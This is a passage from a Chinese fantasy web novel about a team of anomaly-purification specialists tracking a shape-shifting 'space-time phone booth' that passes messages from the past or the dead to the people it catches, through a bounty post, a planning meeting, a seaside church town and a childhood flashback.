游叶本人并没有感到任何异常,只是单纯地欣赏着这一幅图景。墙面上雕凿出复杂纹路,那些光芒正是以纹路蔓延的轨迹在闪烁。
那是将某些星体连接在一起后的示意图,游叶曾经学过天体相关知识,勉强能认出个大概。那应当是二十八星宿图。
片刻后,光芒暗淡下去。川汜在纸上记录了几个数据,说:“好了。下次那个电话亭出现在现实的时候,能初步定位到祂半径一公里左右的范围。”
就凭她一个携带的异种污染残痕,居然能把范围缩小到这个程度。和魔法也差不多了,虽然游叶自认为是唯物主义者。
既然已经结束,游叶起身打算离开。在她推开门之前,川汜在她背后问:“斗胆请教一下,游叶阁下又是因为什么原因才选择成为异种净化专员的?”
游叶没有立即回答。她背对着川汜,语调与平常无异:“并没有什么理由。只是我从小就被选拔进入群星营,一直以来都是作为异种净化专员被培养的,所以走上了这样的道路,仅此而已。”
“毕竟不做这个,我也不知道该做什么比较好。”她礼貌地无声阖上门,离开了。
川汜目送着门隙透进的光线消失。过了很久,他才轻声说:“但九春阁下似乎并不是因为这样。”
“所以,我相信,您也不是。”
11. 讨论
罗卜边吃午饭,边刷着“兔子洞”网站。
这是个发布各种异种相关消息的全民网站,普通人和异种净化专员都可以使用,像他这样对异种感兴趣的普通人,想要获取最新一手的异种消息——不论是真是假——这是最好的渠道。
他点开“下午茶会”版块,寻思着不知道能不能接点小委托赚赚外快。他自认精神抗性还不错,比一般人都高点,所以也敢接异种相关的、危险性不高的简单委托。
多半都是去附近探探情况,拍几张照片,描述下自己感受到的精神污染症状什么的。一般会委托普通人来进行异种简单勘测的,【漫游型】居多,因为专员有时候也拿祂们没辙,反而是普通人误打误撞能找出解法来。
今天似乎运气不错,罗卜一点进去,就看到了个赏金奇高的帖子。是私人发布的,买了置顶,明晃晃挂在最上头。
“异种:时空电话亭。定位:暂无定位,范围在大都会内。”罗卜不自觉念出声,“委托内容:看见时空电话亭后立刻将其所在位置共享在以下链接。位置属实可获得委托报酬。此委托不限人数,单人可承接多次。”
“如果有被委托者被电话亭捕捉,进入电话亭后造成的精神损伤可向委托方要求补偿。前提是需要配合委托方‘游猎’进行对电话亭的定位。”
这就没了?看到后告知位置,零难度啊。甚至都不需要太靠近,可能精神都不会被污染到。
罗卜不敢相信地又看了看赏金。他做委托来还从没见过这么高的赏金,汇报一次位置都能吃顿大餐了。正好他最近有家很想探的店,但价格实在肉痛,他原本打算过生日再去的。
现在可以提前实现心愿了。罗卜毫不犹豫地点下“接受”按钮。
他看了看发布账号的名字。“山中有虎”,等级不高,应该是个新人。新人就想挑战【漫游型】异种?那他只能祝君好运了。
这一会儿帖子热度就飞窜了,接受委托的人数节节攀升。幸好他手快,否则后期发布者看接的人太多说不定就提前关闭承接渠道了。
这是个什么异种来着?罗卜回到“兔子洞”主界面,开始搜索“时空电话亭”这五个字。
*****
“这方法不错啊。不过,这个赏金是否有点……”
游叶站在君山椅子后头,双手扒在她椅背上,谨慎地挑选措辞。君山不以为意,“钱够多接的人才会多,大伙儿也会更有热情。这个价格我觉得还好。”
行吧,和大小姐说这些实在白搭,那就是她平时吃顿饭的钱。游叶说:“希望能有情报。”
在她们对面,连湛抬头,带着点腼腆说:“那个,我整理了‘兔子洞’网站和‘奇境’论坛关于时空电话亭的情报,已经分享到群组里了,大家可以看看当做参考。”
游叶点开文档,被排列整齐的文字和图片吓了一大跳。距离他们确认接下净化时空电话亭还不到五个小时,他就已经弄出了这么多东西。这情报搜索和整合能力实在惊人。
“他会放出来,应该就是全部情报都在里面了。不需要再去看一遍。”君山倒是毫无意外,听得出她相当信任连湛这方面的能力。
“我建议所有人——除了川汜,都进入电话亭体验一次。”九春坐在沙发上,一边飞速浏览连湛的文档一边说,“电话亭内应该能找到更多线索。经历一遍祂的传话形式也可能对找到净化方法有帮助。”
这就是群体作业的好处了。游叶不得不感慨,九春自不必说,君山和连湛虽然实战经验不足,但理论似乎不在话下,这些净化异种前期的情报收集准备相当高效,并且精确。
她自己也能做这些,不过有人分担当然是好事。游叶走开,坐到九春身边,一并看起连湛搜集的情报。
一边看,她一边提醒:“如果你们要进入电话亭并且接听电话的话,建议提前在身上带好强效安定剂,或者其他类似的药物都可以。不然出来一下就撑不住了。”
“去的时候记得开定位,这样也方便其他队员去接。”九春补充。看得出捞人他已很有心得。
另外两个人都在心里记好笔记。川汜不在这里,他在他的卜星室里监控星象,随时准备向他们报告时空电话亭下一次出现的地点。
“出来之后应该会感到强烈的头痛和恶心,四肢发软无力,听觉和发声功能随机丧失一个。大家做好心理准备。”游叶像随口话家常一般说出这些令人生畏的字眼。
君山不由感叹,这就是真正专业训练出来的专员吗,这种普通人经历过一次绝不想再来的体验,他们说得像身体偶尔发痒一般,小痛小病都算不上。
不过他们这种打算去主动体验一下的,大概也早就称不上是普通人了吧。
“我有一个猜想。”
看完资料后,大家也暂时没有新情报涌入,决定讨论讨论。游叶作为亲身经历者,率先开了口。
“这个时空电话亭的本体应该在海里。比较可能的是离大都会近的那几个。”她报了几个水域的名字,“随机出现的这个不清楚是分身,还是本体也可以随意移动,两种可能都有。”
“等一下。”君山立刻抬手打断,“可以说一下是怎么得出这个想法的吗?”
连湛给出的那份汇总哪里都没说和海洋有关。
游叶说:“我在电话亭里感受到的环境类似于海洋,或者说海岸,之前和另一个进入过电话亭的人沟通过,她也有类似的体验。”
“电话亭内应该才是异种真实所在地能感受到的环境,所以大概能推断祂不在大都会里乱逛的时候,应该藏在哪个海里或者海岸上。顺便说,这两个方向我倾向于海岸。”
“这又是为什么?”
“从电话亭往外看不太像在海底。也没有海底一般会有的窒息感。”
这些东西居然都是能只靠身体感知就能得知的,无垠公司群星营究竟是个什么地方,培训出了这样一帮精英。看九春毫无惊讶之色,大概这才是他习惯的搭档水平。
“那我们就再找人去附近海岸搜索一下。”君山拍板。
有钱就是好啊。游叶第无数次感慨,平时她根本想不到这么奢侈的情报收集方法,基本都是要他们自己跑很多趟的。
“还有,这个异种能造成通讯设备瘫痪。”游叶忽然想起这一点,“我的掌机在祂出现的时候就不能用了。但其他店铺的3D招牌和广告都还在运转。”
“的确,那条视频也是用无通讯功能的相机拍摄的。”九春补充。
“那我们还可以再重点关注一下忽然信号紊乱的地方。再怎么说通讯设备也是用信号传讯的,异种能干扰这个,应该会造成信号的错乱。”
看来,君山又要动用她的钞能力了。大家已经默契地不发表任何评论。
九春接话:“目前的资料来看,这个异种的运行逻辑是随机抓人,然后向这个人传达一条来自过去或者死者的信息,并且这个信息一定是接收者不知道的。”
“你是哪种?”他看向游叶,直白地询问。
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“死者的。同时是过去的。”游叶回答,也没有任何被冒犯到的神色。
工作中他们都不会带私人感情。再怎么没有死亡风险,这毕竟是个可能伤害身体的事情,做不好的话,或许会导致异种暴走或变异,危及更多人。那是哪一个心智正常的异种净化专员都不愿看到的。
“目前表面能看到的逻辑就是这些。看不出有目的,并且接过电话的人都表示,只要接听电话即可安全离开,电话亭不会提出更多要求。”九春顿了顿,应该是想起那个视频,“也有不接听的选择,那个需要特殊暴力破局。”
“我不建议这个方法,我们中即使有显征能力也并非‘净化型’,恐怕很难通过暴力方式离开。并且,我们也需要通过接听电话来尝试推测净化方法。”游叶补充。
还有一点她没说。不过这也不重要。
像那两个人一样强的显征能力,她进这行这么久只见过不到五个。
“那祂究竟是想要干什么呢?单纯给人传话?怎么会有这么无聊的异种。”君山转着电子触屏笔,吐槽道。
“可能真有异种会这么无聊。”九春说,“毫无目的、也不想要从自己行动中得到利益的异种也是有的。”
他看起来不像在说笑话。游叶也没笑。连湛小心翼翼地提问:“那我们应该从什么方面分析呢?不能从人类的逻辑入手,要从异种的逻辑入手?”
“虽然我很想说后者,但异种的逻辑是什么,我们现在都还不确定有没有这种东西。”游叶说,“通常办法还是以异种行为为基础去分析,这个行为可能出于什么目的?是否能给祂带来好处?造成的结果是什么?如果这些都行不通,那就再从其他方向考虑。”
【漫游型】异种就是麻烦在这种地方。连湛调动他自学过的知识,再度请教:“我记得,也可以从精神污染症状进行分析。”
“这个异种造成的症状是失去发声能力或听力,刚好对应‘传达’与‘接听’两方。和电话亭本身的行为相符合。这应该也是祂最重视的事情,传达讯息——并且是声音讯息,还有强迫人必须接听。”
“没错。找出祂为什么如此重视,或许就能找到净化方法。”游叶肯定了他的想法。
“传递的讯息是不是有什么不同呢?比如会唤起接听者什么样的情绪。”君山也提出想法,“但应该是比较涉及隐私,没什么人分享出来。”
“有个帖子说自己听到了逝去亲人的声音,感伤,但也因此感到幸福。”连湛回忆着,“还有一个说听到小时候朋友对ta的道歉,终于对当初的事释怀了。”
“看来,这个电话亭传达的讯息主要能唤起人积极情绪?那祂真是好心啊。”
九春不由看了游叶一眼。他嗅出这话中隐隐蕴含的辛辣。尽管她装作只是随意说出。他按捺住立刻询问她听到了什么讯息的冲动。
“难道祂是想让人幸福吗?”连湛无意识地说。
说完他自己先不好意思了,抿着唇露出腼腆的笑。异种到底是和人类对立的物种,不论表现形式为何,都是会对人类造成伤害的存在。说“幸福”也太奇怪了。
然而,只有君山露出明显不赞同的表情,游叶和九春都没有否定他的想法。
“现在情报太少了,也讨论不出太多来。”最后是君山宣布了解散,“我们其他人尽量抓到这个电话亭,进去一次试试看;游叶的话,你想要怎么做?”
她的语气带着尊重。游叶想了想,回答她:“我去海岸边,看看有没有线索。”
12. 扬帆
【信徒问,世间万物自有语言,彼此互不相通,又如何能沟通交流?】
【祂说:你拿我的舌去与那万物言说,那生灵自然能领悟。】
【你需谦恭,不可忘却众生平等;】
【以其之语与其言说,它等自当听入你之话音。】
【信徒恭顺领受祂之真言与圣舌,从此山川草木,鸟兽虫鱼,世人之间,再无言语之隔。】
——《行纪·第九日》
*****
游叶用掌机支付了打车费用,从停稳的飞车里下来。
靴子一踩到地面,便能感觉到不同于城市里的湿软。游叶再度调动全身感官,对比之前在电话亭里的感受。
片刻后,她无奈地放弃了。在电话亭里的记忆并没有消退多少,但海边感受到的空气湿度温度等等实在相差无几,毕竟都是在同一个城区的周边,纬度等等相近。
这几天她转了大都会附近的几个入海口的居住区,没有太多收获。这里是倒数第二个。
扬帆镇,居住者多半从事渔业,这里所有的建筑都建造在船上,无数艘航船汇聚在一起,连接成了一个城镇的形态。这里没有一般人所熟知的道路,只有一艘艘船只停泊时会打开吃水线稍上的悬浮隔水板,互相拼接,就成了一条会随水波摇晃的“道路”。
站在岸边望去,无数船只与其上建筑密匝匝排布在一起,确实相当壮观。游叶眺望着,暂时没发现什么和电话亭类似的东西。
突然,她的视线被一栋船上建筑所吸引。洁白大理石在阳光下反射出温润的光,彩花窗和浮雕相当精细。那是一座教堂。
而且还是她最熟悉的形制。亚利苏教居然在沿海地区也这样盛行,这是游叶没想到的。
不过,现下这倒是方便了。村里哪儿最好打听情报?有宗教信仰的话当然是教堂。信徒都会去那里祷告,人群聚集之所自然会是流言蜚语、奇闻轶事飞速传播的地方。
游叶踏上船与船之间的浮板道路。她的身姿步伐之稳定,让人很难相信她真的是在流动的水中行走,靴底每一下都踏在水波退去的地方,几乎没有被沾湿。
她一路来到教堂门口。亚利苏教每逢周五是固定祈祷日,今天并非周五,也不是唱赞美诗的时间,教堂里的人并不多。
游叶没有想过隐藏自己走进去。首先,她的长相如何姑且不论,但她的双眼实在碧绿非常,很少有人能忽视它们;其次,扬帆镇人口并不多,并且人员来往密切,她一个外地人走进这里,和狼进了羊群一样的显眼。
几个人在面目模糊的圣者像前祈祷。亚利苏教教义里,向无所不能的圣者祈祷不必下跪,因圣者身量伟岸,任何人在祂面前都同样渺小,也同样重要。
“您好。”游叶走向讲经台,那里站着一位身穿祭服的女性,纯白衣料两边是桃红色纹样,领口处别着一朵红白二色的绢花。
她抬起头,看见她时眼中闪过一丝意外与困惑,“您好。祝您今日安,愿圣者始终注视我们。”
“愿圣者时常聆听我们。也祝您今日安。”游叶微笑着回应。
牧师的面色柔和下去,“原来是教中姐妹。姐妹如何称呼?我是席悠牧师,您称呼我为席悠姐妹就好。”
“席悠姐妹。我叫游叶。”游叶从善如流。
“游叶姐妹今日来扬帆镇是为何事?若能帮上忙,圣者与我都会十分快乐。”
席悠放下手中经书,游叶瞥见那是一本《行纪》,因为主人时常翻阅而略显陈旧。她笑着说:“也不是什么大事,就是想问问席悠姐妹,这镇上是否有一座电话亭?”
“电话亭?”席悠咀嚼这一古老的词语,“游叶姐妹是有什么话想向圣者传达?那不必借助任何事物,甚至无需特定时间地点,只需潜心向祂祈祷,我们的心声终会被聆听。”
“我明白。不过,我还没见过这等事物,听说扬帆镇有,便过来瞧瞧一二。圣者也鼓励我们发现新事物,不是吗?”
“‘祂说,不必畏惧从未见过之物,因我的羽翼会庇护你们。’”席悠念出经文,面上浮现微笑,“游叶姐妹对经文研究之深,并不多见。”
“耳濡目染罢了。”游叶回答。
“我明白了。如果是想找电话亭,镇上倒的确有一座。”席悠说。
游叶眼睛一亮,“席悠姐妹知道它在哪里么?”
“当然。镇上大小事务,我都知晓。”席悠回答得自信,“圣者要求我们牧师体悟世间一切事,关心所有人。”
“即使那人并非我们兄弟姐妹?”
“自然。”
席悠回答得不假思索。游叶不再多说,她侧开身,席悠走下讲经台,“那么,游叶姐妹,随我来。”
两人走过一条条浮板道路,席悠显然轻车驾熟,轻盈灵巧不在游叶之下,尤其是她还并非战斗人员。游叶跟在她身后,一路遇上许多人都与她打招呼。
“席悠牧师,今天要去哪里啊?要不要我开船送您?”
“席悠牧师,今天抓了尾大的,到时候您最喜欢的肚子边的肉给您送过去!”
“席悠牧师……”
游叶微微吃惊。她不知道这镇子大部分人都信了亚利苏教,席悠尽管年轻,在这里的威望却不低,声誉极好。
她忍不住问:“这里是什么时候开始信仰我教的?”
“嗯?应该有几十年了吧。我是这里的第三任牧师,前面两位前行者都去往别的地方布道了。”
看来这些年,亚利苏教有条不紊地在扩张。这也不奇怪,一个宗教存在于世上,增加自己的信众、扩大自己的信仰是理所当然的。
她想起那座教堂下看见的画面。即使她已经见过这么多惨剧、承受过这么多精神污染带来的折磨与幻象,仍然感到一阵反胃涌上心头。
而恶心褪去后,残留下的是深深的恐惧。
席悠不知道她在想什么,她领着她到了另一边的沙滩上,指着一个方向说:“我们到了。”
游叶从沉思中醒转,她抬头看向前方。
一座锈迹斑斑,周身布满岩蚀风化的痕迹的红色电话亭,静静矗立在细砂之间。
游叶已经见过祂三次不同的形态:一次在商业街,霓虹多彩的外观和商业街浮动巡游的三维影像广告相得益彰;一次在居住区,复古优雅的红色十分符合那里的生活气息;一次是现在,在四下无人的白砂之间,便是腐朽老半,岁月恒流。
祂似乎会配合周边环境改变形态,和变色龙似的。游叶摸不清这是否有某种隐喻,席悠已经在她身边说话:“这座电话亭也在这里很久了,没怎么见有人来用过,也没有人维修。里面的电话能不能用还不太好说。”
“没关系,我也不是想来打电话。”游叶稍微走近几步,观察磨蚀严重的红色金属在阳光下闪闪发光。
她说:“好不容易来了,拍张照吧。席悠姐妹,可以帮我拍一张吗?”
她将自己的掌机固定环从腕上卸下,将掌机递给席悠。牧师自然不会推辞,她打开无需解锁就可以使用的照相功能,一边对准画面中心,一边说:“那要拍咯。三、二、一,亚利苏——”
游叶配合地比出一个亚利苏教里用于祝福的手势,露出微笑。席悠检查了一下照片,递还给她,略带歉意地说:“我不太会拍照,如果游叶姐妹不满意——”
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“您太谦虚了,席悠姐妹。”游叶看了眼照片便将掌机摁熄,“我很喜欢。”
她说:“席悠姐妹若有事,还是您那边要紧,我一个人在这里也没问题。”
席悠点点头,“那就不打扰姐妹静修了。愿圣者广翼照拂我们。”
“愿圣者广翼照拂我们。”游叶回应。
席悠离开后,游叶和电话亭保持一定距离,细心感受。这一次通讯设备没被干扰,那张照片里完整清晰地保存了她和电话亭的影像。
而且,在这么近的距离,她精神上也没有感到任何不适。虽说她精神抗性远超常人,但这个距离还感觉不到污染,也有点惊悚了。
难道说这就是个普通电话亭?只是以前的遗物?但一般这种东西政府都会登记在案,派人来定期维修的。而且这么个复古东西,想来都会有不少发烧客来参观拍照,不会无人前来。
是不是,进去看看就知道了。游叶确认一下携带的药剂,上前几步,就要拉开电话亭的门。
——然而,在她手指碰到把手之前,电话亭如海市蜃楼一般,在阳光下微微闪烁几下,便在一片彩色光晕中骤然消去。
游叶愣住了。她保持着伸手姿势,捞了几把,确认那里只剩下空气。
与此同时,小队群组开始弹出消息。
【山中有虎】:有人看见电话亭了。在一个教堂边上。【图片】【定位】
【Nimrod】:有人在附近吗?没有我现在赶过去。
【暂不考虑新队伍意向】:定位没问题。那个异种现在就在那附近。
【MilleFee】:我在那边。我去。
游叶摁灭屏幕。如此看来,可以确定这电话亭没有分身能力。每一次出现的,都是祂的本体。
那这就好抓多了。如果她没猜错,这里应该就是祂的大本营,那幅被海水盐风侵蚀不堪的外观大概才是祂原本的样子。
不过,她还得在这里多等一会儿才能确认这一点。游叶看了看掌机时间,现在是上午十一点零一分,她将以此为开始,记录异种【时空电话亭】的一次往返时间。
接下来就是等待,不需要做更多的事情。游叶从手包里掏出一本卷成巴掌大的书,打开摊摊摊摊成一本十六开杂志,打算阅读一下打发时间。
这是一本关于新锐乐队“無彩”乐队的采访和摄影记录。非常粉丝向的出版物,是她经过书店偶然看见买下的。
游叶饶有兴致地阅读转成文字的对话,时不时挑起眉毛,或者哼笑一声。正打发时间着,背后忽然传来一个声音。
“您、您好……”
怯生生的,又带着些飘忽不定,像在幽暗处会随风拂走的花朵。游叶迅速转身,短短一瞬便肌肉绷紧,进入临战状态。
在一个异种作为大本营的地方,遇见什么敌人都不奇怪。但对方似乎并无敌意。
看见她的第一眼,游叶脑中便闪过这个念头:好瘦小的孩子。
一个穿着白裙子的小姑娘正站在她身后不远处,悄悄抬起眼望她。她看起来大概十二三岁岁,裙子下的身形伶仃,皮肤苍白,深色眼睛在脸上显得过大,圆噔噔嵌在那里,透出些森冷诡奇。
那个小姑娘说:“您、您好……那、那个,请问,姐、姐姐您、您是来、来净……净化她的吗?”
她用的是通用语里的女性第三人称。游叶没有对她的结巴显露任何态度,她就着问题回答:“是的。”
小姑娘的脸色更苍白了。她几次张开嘴,却挤不出话,游叶站在那里耐心等着。
她的声音细若蚊呐:“您、您可以,不要,不要净化她吗?”
13. 祭奠
【祂初降临世间,所见皆是灾土荒野,白骨满地。】
【人们向祂伸出手,呼喊祂的名,祈求不过一个安睡的夜晚,一处安稳的庇所。】
【祂不忍,便取出祂的骨去置于那秽土。】
【刹那间,原野恢复如初,溪流回旋清澈,大地丰盈,邪异退散。】
【在祂带领下,人们终得一片净土。】
——《源启经·第三卷》
*****
九春在教堂外停下脚步。
看着熟悉的景致,他心中涌上一阵怀念。这座教堂自他六七岁以来就没有变过,不过变声后他就没去那边唱过赞美诗了。
另一段记忆覆盖住这段温暖多彩的时光。即使过了这么久,想起这一系列事情、这个人还是会让他感到相当不快。但不。不会再和那个时候像心被撕裂一样了。
他定定神,寻找此次目标的踪影。教堂一如既往洁白无瑕,阳光为其镀上一层金芒,里面传来人们祈祷的声音。没有什么奇怪的电话亭出现。
他熟门熟路绕到教堂背后。荒草轻轻随风拂动,老树依旧矗立,枝叶强壮,没有任何要倒下的迹象。想起和游叶在这里度过的童年时光,九春嘴角浮现怀念的微笑。
他们经常爬到树上去,幻象看不清的远方和未来有什么。那时候看这棵树很高。现在其实也不过两个他不到。
九春来到树下,他伸手抓住一根强壮的枝丫,右手一用力,就把自己晃到了树上。他拨开密匝匝的叶丛,像只松鼠灵巧地攀到树顶。
视野骤然一片开阔。九春半蹲着,教堂、平房、学校、街道尽收眼底,那是他曾经以为的整个世界。
只有林立的摩天大厦阻挡了最远的地方。不过这已经够了。九春看着那座教堂东北角的多余建筑,心中已经确定。
他脚底一踏,如同生出羽翼般飞掠过半空,轻盈落到草地上,打了个滚便站起来,向那处建筑大步奔去。
这一次,电话亭也有了全新伪装:洁白石质材料刻着精美的浮雕,九春甚至能认出是《源启经》里描述的哪幅场景。
四柱上缠着粉刷成粉色的石雕蔷薇花,完全是亚利苏教的样式。看着附近逐渐聚集起来的人群,九春啧了一声,打开掌机,投映出旋转的立体警示影像。
那是异种执行者公会专用的警告标识,用于告知附近人群此处有危险异种,不要靠近,立刻离开附近区域。
他挥手驱赶附近的人群,“异种处理专员办事,都退开,这里有污染。”
说完,他也不管他人什么反应,径直走向电话亭,一把拉开了那扇门。
果然如他们所猜测,电话亭也可以自主进入。九春拧着眉打量内部环境,和游叶描述的别无二致,物件摆放位置和她画的素描相合。
在群星营,他们有接受过绘画训练。不是要培养什么艺术性——这方面的知识会在专门的艺术课上传授——而是为了训练空间感,并能够将记忆中所见场景尽量复原,供其他专员参考。
毕竟,只靠语言转述和想象,还是会有偏差的地方。在不能拍照的时候,这个技能相当实用。
唯一的区别,是电话机完好无损。他人造成的伤害已经痊愈了。这只会让祂更难净化。
这样看来,公会鉴定员将祂判定为B+可能有点低了。九春思忖着,能把游叶精神污染成那样,对于另一个净化型显征者造成的伤害能这么快就复原,这电话亭如果不是没有致死性,判成A级绰绰有余。
不过,要是被判定成A级,他们小队也就不能接这个任务了。即使有游叶这样积分榜排行前十的精英也不行。
在他思考的时候,电话机上的屏幕亮了。那里写:您好,九春。
您有一则来自过去的留言,还请聆听。
“什么时候?”
六年前。
“留言人是谁?”
查询中……此条留言并未要求匿名传递。
留言人:闻莺。
看到这个名字,九春愣住了。他看上去像被人迎面打了一拳,正中心口。
他喃喃着,不敢置信:“闻莺?”
他抬起手,手指在颤抖。但他并没有意识到。九春恍惚着,如同被蛊惑般拿起了听筒,贴在耳边。
轻柔的电波声如同海浪。在波涛之中,他曾经的挚友的声音清晰地传来。
“谢谢你,阿春。”
九春从未忘记过那个声音。清澈的、冰棱一般的质感,偶尔会带着点华丽,有时候又会有点清冷。他曾经想过,他之所以叫闻莺,是否是因为这是春日解冻溪流的声音。
他不会认错。九春放下听筒,脸色却已经恢复如初。他眼神清醒,神情是于人前常见的冷淡。
“这样就行了?”他问。
是的。本条讯息传递已结束。您可自行离去。
九春闭眼。他调动全身感官,同样感受到海洋的气息。游叶的猜想没有问题。一向如此。
他没有去问游叶得到的讯息是什么,但大概和他差不多。他有了个想法,对方很可能也一样。
九春从腰包里掏出一支针剂。III型愉悦催生素,一般用于出现严重抑郁情绪的症状,可以催生多巴胺与内啡肽等令人心情愉悦的物质,有一定成瘾性,不建议经常注射。
也有些人认为这是新型毒品。但对九春而言,这确实是对他最有效的精神治愈药物。当然,他会慎重地控制浓度与用量,确保自己不会产生依赖性。
和大多数人不同,遭到强烈的精神污染后,他一般不会出现头痛等精神上痛苦的症状,但会感到长时段心情低落,没有动弹的意愿,一定程度的恶心和对所有事物丧失兴趣。有时候还会觉得冷。总体而言,是一种清空一切后过度空洞的感觉。
所以,能够让他提升心情和保持温暖的药剂是更有效的。游叶经常会过来抱住他,即使他因为精神污染难以给出反应。
不知道她那边怎么样了。刚刚的群组消息里她没有发言,应该是有事在忙。这样想着,九春推开电话亭的门,走了出去。
他一走出门,电话亭就消失了。心情立刻低沉下去,如同冬日寒冷的凌晨。这种感觉和愉悦催生素带来的快乐效果相互抵触,搅得他有些犯恶心。
但好歹他还意志清醒。一般队内一个成员进行试错后,后面的队员再挑战同一个异种情况就会可控很多。
他做过这个第一人,也看着别人做这个第一人,没有公不公平,只是责任所在。
九春绕开人群往外走。他看着附近街道景色,脑子里艰难地思索:要不要回阿嫲那里休息一下?自己也有段时间没去看过她了。
但他很快否定了这个想法。状态好的时候回去是一回事,现在这个样子回去只是给阿嫲添麻烦。
但他也不想立刻回去。游叶这个时候肯定也还没回来。而去她那边之前,他需要先调整好自己的状态,不拖后腿。
哦,说起来,闻莺的墓好像也在这附近。他不完全信教,但家人都是亚利苏教的虔信徒,所以遵从家人和他自己的意愿葬在了亚利苏教堂附近的墓园里。
也快到那个日子了。九春穿过人海,走向一家花店。他挑了一束连翘花,以前闻莺说过喜欢这种花,在他家附近开了很多。
金黄的花朵打包成束,九春在一种恍惚而空虚的状态中向墓园走去。他知道自己状态不对劲——能被电话亭精神污染完还能对劲的人类这世上不存
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在——但也许是那段留言给他的暗示,也许是触景生情,他就是抱住了这样一个念头:是该去看看他了。
空旷的墓园里,只有风吹过树叶的声音。九春缓步而去,意外地发现,还有另一个人站在闻莺的墓前。
“中午好。”青年一头黑发,深蓝眼睛接近于晴朗夜空,绀宇向他微微颔首。
九春点头回应。平时的他可能会露出吃惊的表情,追问他为什么这个时候会在这里,但现在他现在精神污染症状里,什么也不想关心。他蹲下,把连翘花放到墓前。
墓碑已经被清理过,不用想也知道是谁的手笔。九春轻轻说:“谢谢。”
“这是我该做的。闻莺也是我的同学。”绀宇平静地阐述事实。
他接着说:“很遗憾在他生前没能和他关系更好一些。他是个好人。”
九春没有回话。他发呆一般盯着那个墓碑,心里想:如果他死了,会是什么样的?谁会来看他?
绀宇瞥了他一眼。注意到他苍白的面色,这位昔日同窗皱起眉,说:“你状态很差。是刚刚从【彼界】出来吗?”
说着,他就开始检查自己随身带的药剂。九春挥手阻止他,“我已经注射过了。现在只是……一时的情绪不稳定。”
这情绪大概是稳定过头了。绀宇坚持一次:“但你最好还是去附近精神治疗球恢复一下——”
“我没事。”九春简短地打断他。
话已至此,绀宇也不再坚持。他和九春也认识很久了,知道对方的专业性,不会在这种地方逞强。
“上次那位女性,她的情况还好吗?”
“她没事。”
绀宇说:“那就好。如果后续需要复查或治疗,我会帮忙。”
九春一点头。这时,他注意到墓碑前除了他的金连翘、一束白玉兰,还有一束银色百合。他问:“刚刚还有其他人来过?”
这很奇怪。因为今天还不到祭奠闻莺的时候。果然,绀宇摇摇头,“都是我带来。一束是我,另一束是我代人献上。”
可能是某个知道他要来这附近的同学吧。不过,银百合,看来是个亚利苏教徒。在这个宗教的文化中,银百合被用来祭奠与怀念死者。
待了一会儿,九春感到自己心绪宁静下来,应该是药物中和掉了部分精神污染,剩下的被他的精神抗性抵住了。他站起身,说:“我先走了。”
绀宇嗯了一声,没有挪脚的意思。也许他和谁约在这附近见面,他尚在等待。九春正要离开,忽然,附近亚利苏教堂里传来嘹亮的颂歌,远超平时的规模。
仔细看去,门口甚至有人在排队。九春不禁问:“今天是什么日子?”
问完他才意识到不太妥。绀宇同他一样,并非此教信徒。然而,行走的百科全书大人绀宇回答他:“今天不是亚利苏教的节日。”
“不过,今天有一位‘天使’来了这个教堂,来祝福信徒们。你不知道?”绀宇说,“我以为你是特意挑了这个时候,想让天使祝福闻莺。毕竟他也算半个信徒。”
“得了吧,他根本不信神,只是接受亚利苏教行为处事方式。”九春回答。
他再度和绀宇道别,便从墓园里抬脚离开。
登上飞车前,他突然想知道今天是哪位天使。是附载羽翼的加百烈、吟唱颂歌的卡莉法,还是洁净污秽的米勒菲?
听到人们唱诵着《乐曲》的章节,他便知道是第一个。不过,这个时代的“天使”,似乎只有“加百烈”还有继任者行走于世。其他二者并没有听说当代有继任者。
不过都是凡人扮演超凡脱俗者的把戏。九春抛下这段插曲,登上飞车,回到别墅让川汜采集他身上的异种残痕,进一步准确定位。
14. 旧影余音·老柳树
【十四年前】
九春说:“我要回家了。”
游叶睁大眼睛,不解地问:“这么早吗?为什么呀?”
现在九春已经可以独自一个人回家,游叶还是由她的姐姐接送。九春见过她那位姐姐,要他说的话,比起姐姐,她更像游叶的家庭教师加看护者。
游叶一直没有去上学,有家庭教师也合理。现代社会里什么样的受教育路径都有,只要通过各学校组织或联邦统一组织的升学考试,就可以拿到学位证明。
九春回答游叶:“我要回去帮阿嫲的忙。最近家里的供水系统好像有点坏了,需要去井里打水运回来。阿嫲年纪大了,做不了这些重活。”
话虽如此,他也才十岁上下,只是一株小树苗,远远不到年富力强。但他把这话说得天经地义般,游叶也没想什么。
“要不要让霜姐姐去看一下?之前家里的水管爆了,把我吓了一跳,她几下就修好了。”游叶提议。
“可以吗?”九春有点犹豫。阿嫲教过他,不要随便麻烦别人……可是,供水系统坏了,应该不是随便的事吧。
“当然呀!”游叶说得理所当然,“我去问问霜姐姐。”
她站起来,嗒嗒嗒跑着离开了。九春坐在草地上,等着她。
他看见草丛中有一株白花摇曳。小小的,看起来很柔弱。九春被迷住了,他伸出手去。
指尖感触到花瓣柔软的触感,九春开心而好奇地摸过每一片花瓣,想着待会儿要和游叶分享。
某一瞬,他思维空白一片,不过一次眨眼的时间,他自己都没有察觉。但当他再次看向那朵白花,却惊愕地发现,它逐渐消退成更苍白的颜色,碎落成齑粉,从他指间飘散而下,被风一卷,便不知去向何方。
不过几次呼吸,那朵花便从头至尾消失了。九春愣愣地盯着,完全没反应过来。
是他看错了?刚刚这里从来没有过一朵花?可他刚刚才摸过它。
那这到底是怎么回事?
他没来由地害怕起来,隐隐预感到什么他不应知道的事。但那是什么,他那时还不明白。
忽然,背后传来一个柔和的声音:“你好。”
九春条件反射地跳转过身,将双手背在身后。他澄黄色的眼睛瞪得大大的,带着点警惕,看向突然出现的人。
来人是位女士,有一定年纪,九春认为她和自己的学校老师们差不多大。奇异的是,在这样的年纪,她却有一头雪白的长发,在阳光下闪烁着晶润的光泽。
但那白色却又与苍老的白不同。如果要九春形容,他会说像每年他在冬天第一个日子里见到的新雪。他有点着迷地看着那头白发,一时忘记了要说什么。
“你是九春,对吗?”女人说,她看着只到她腰部的九春,目光温和,声音含笑。
“嗯……你、您是谁呀?”九春回过神来,警惕重来,“您为什么会知道我的名字?”
“你外婆把你教得很不错呢。”女人蹲下来,和他视线平齐,“因为,我是为你而来的呀。”
闻言,九春迷惑不解地望着她。他听不懂她在说什么,但觉得她好像不是坏人,就是外婆故事里会把小孩子抓走丢进锅里煮熟、然后连皮带血全部吃掉的那种坏人。
“您是谁呀?”他又问了一遍。
女人歪过头,有点苦恼地笑了,“我?我是,嗯……”
“我叫时百心,你可以叫我时女士。”
她最后这样说。
